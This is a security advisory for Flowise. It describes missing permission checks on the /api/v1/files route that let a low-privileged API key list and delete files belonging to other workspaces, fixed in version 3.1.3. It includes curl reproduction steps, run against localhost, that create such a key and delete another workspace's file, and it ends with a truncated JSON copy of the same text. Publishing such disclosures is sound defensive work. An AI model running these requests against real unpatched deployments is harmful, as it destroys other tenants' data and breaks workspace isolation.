Title

Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.

Severity

GHSA-WP74-F5HH-5F3R

Vulnerability from github – Published: 2026-08-04 14:54 – Updated: 2026-08-04 14:54

Summary

Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization

Details

summary:

In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.

details:

The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:

getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root
deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path

As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:

called GET /api/v1/files and received 200 OK
listed a test file stored under a different workspace, f92a9a4d-392e-4db2-af82-d14e1d553446
called DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OK
confirmed the file was removed by re-querying the file list

impact:

Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.

reproduction steps:

curl -i -b tamako.cookie \
  -H 'x-request-from: internal' \
  -H 'Content-Type: application/json' \
  -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
  http://localhost:8080/api/v1/apikey

Record the returned API key. In my local test, the key was:
ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E
Prepare a test file under a different workspace within the same organization, for example:
f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt
Use the low-privileged API key to list files:

curl -i \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  http://localhost:8080/api/v1/files

Observe a 200 OK response that includes a file from another workspace, for example:

[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]

Use the same API key to delete that file:

curl -i -X DELETE --get \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
  http://localhost:8080/api/v1/files

Observe a 200 OK response:

{"message":"file_deleted"}

Call GET /api/v1/files again and confirm that the file is no longer present.

  "details": "# summary:\nIn Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.\n\n# details:\nThe `/files` route is mounted with `IdentityManager.checkFeatureByPlan(\u0027feat:files\u0027)` only and has no additional permission middleware. In the controller:\n\n- `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root\n- `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path`\n\nAs a result, the API key\u2019s `permissions` and `activeWorkspaceId` are not used to restrict file access.  \nIn the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `[\"tools:view\"]` was created, then successfully:\n\n- called `GET /api/v1/files` and received `200 OK`\n- listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446`\n- called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK`\n- confirmed the file was removed by re-querying the file list\n\n# impact:\nAny low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.\n\n# reproduction steps:\n\n1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:\n\n```bash\ncurl -i -b tamako.cookie \\\n  -H \u0027x-request-from: internal\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"keyName\":\"poc-files-noperm\",\"permissions\":[\"tools:view\"]}\u0027 \\\n  http://localhost:8080/api/v1/apikey\n```\n\n2. Record the returned API key. In my local test, the key was:\n\n- `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E`\n\n3.
